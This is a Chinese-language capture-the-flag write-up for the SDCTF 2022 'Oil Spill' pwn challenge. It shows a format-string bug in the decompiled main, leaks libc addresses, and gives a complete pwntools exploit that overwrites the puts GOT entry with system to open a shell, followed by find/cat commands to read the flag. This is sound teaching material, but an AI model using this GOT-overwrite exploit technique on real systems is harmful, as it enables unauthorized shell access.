[SDCTF 2022]Oil Spill

准备


64位开了 CanaryNX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[312]; // [rsp+10h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+148h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("%p, %p, %p, %p\n", &puts, &printf, s, temp);
puts("Oh no! We spilled oil everywhere and its making everything dirty");
puts("do you have any ideas of what we can use to clean it?");
fflush(stdout);
fgets(s, 300, stdin);
printf(s);
puts(x); // "Interesting Proposition"
fflush(stdout);
return 0;
}

开头先会输出 putsprintfstemp 的地址
然后下面把读取的数据直接用 printf 输出,存在格式化字符串漏洞
最后用 puts 输出 x 的值

思路:

这里泄露相关函数的地址,有格式化字符串漏洞,但没有 system 函数和连接点等
在ida中查看 x 的值

是一个确定的数据并且地址为0x600C80
所以这里可以利用格式化字符串漏洞,改 puts(x)system('/bin/sh'),来获得 shell
通过输入 aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p 获得参数位置

得到参数位置为8
开始先获取 putsprintf 的地址

1
2
3
4
5
6
7
8
9
puts_got = elf.got['puts']
x=0x600C80

puts_addr=int(io.recv(14),16)
log.success('puts_addr :'+hex(puts_addr))

io.recvuntil(b',')
printf_addr=int(io.recv(14),16)
log.success('printf_addr :'+hex(printf_addr))

然后根据 puts 地址获得 libc 基址,进而得到 system 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts_got = elf.got['puts']
x=0x600C80

puts_addr=int(io.recv(14),16)
log.success('puts_addr :'+hex(puts_addr))

io.recvuntil(b',')
printf_addr=int(io.recv(14),16)
log.success('printf_addr :'+hex(printf_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')

最后利用 fmtstr_payload 构造格式化字符串漏洞的 payload ,改 puts(x)system('/bin/sh')


知识点:
介绍:
用于生成复杂的格式化字符串 payload,实现任意地址写入。
定义:

1
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', strategy='fast', badbytes=[])

参数:

  • offset:表示格式化字符串参数在栈上的偏移量(写入参数位置)。
    这是一个关键参数,需要通过调试或发送测试用的格式化字符串(如 AAAA.%p.%p.%p... 并观察输出)来确定。
    例如,当执行 printf 函数时,格式化字符串本身在栈上的位置如果是第 7 个参数,那么 offset 就为 7
  • writes:是一个字典,键为要写入的目标内存地址,值为要写入该地址的数据。
    比如 {got_table_addr: system_addr} ,表示将 system_addr 写入到 got_table_addr 这个内存地址中。
  • numbwritten:可选参数,用于指定在开始写入之前,格式化字符串已经打印的字节数,默认为 0
  • write_size:可选参数,指定写入的字节大小,取值可以是 'byte'(1 字节)、'short'(2 字节)、'int'(4 字节,默认值)、'long'(在 32 位系统是 4 字节,在 64 位系统是 8 字节)。
  • strategy:可选参数,指定生成 payload 的策略,默认是 'fast',还有 'slow' 等选项 。
    'fast' 策略生成的 payload 较短,但可能在某些情况下不适用;'slow' 策略更通用,但生成的 payload 可能较长。
  • badbytes:可选参数,是一个包含不希望出现在 payload 中的字节列表。
    例如,如果目标程序对输入的某些字节有特殊处理或过滤,就可以将这些字节添加到 badbytes 中,让 fmtstr_payload 生成的 payload 避开这些字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts_got = elf.got['puts']
x=0x600C80

puts_addr=int(io.recv(14),16)
log.success('puts_addr :'+hex(puts_addr))

io.recvuntil(b',')
printf_addr=int(io.recv(14),16)
log.success('printf_addr :'+hex(printf_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')

io.recvuntil(b'it?\n')
payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system})
io.sendline(payload)

脚本

(远程动态 libc 文件:libc6_2.27-3ubuntu1.6_amd64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io=remote('node5.anna.nssctf.cn',24154)
# io= process('/home/motaly/os')
elf=ELF('/home/motaly/os')

puts_got = elf.got['puts']
x=0x600C80

puts_addr=int(io.recv(14),16)
log.success('puts_addr :'+hex(puts_addr))

io.recvuntil(b',')
printf_addr=int(io.recv(14),16)
log.success('printf_addr :'+hex(printf_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')

io.recvuntil(b'it?\n')
payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system})
io.sendline(payload)

io.interactive()

flag 文件不在直接的目录下,可以通过 find 指令查找文件,然后通过 cat 获取文件信息
(找名字为 flag 的没有结果,所以找 flag.txt)

1
2
find / -name "flag.txt" 2>/dev/null
cat /home/ctf/flag.txt

2>/dev/null:将错误信息(如权限不足的提示)重定向到空设备,避免干扰搜索结果)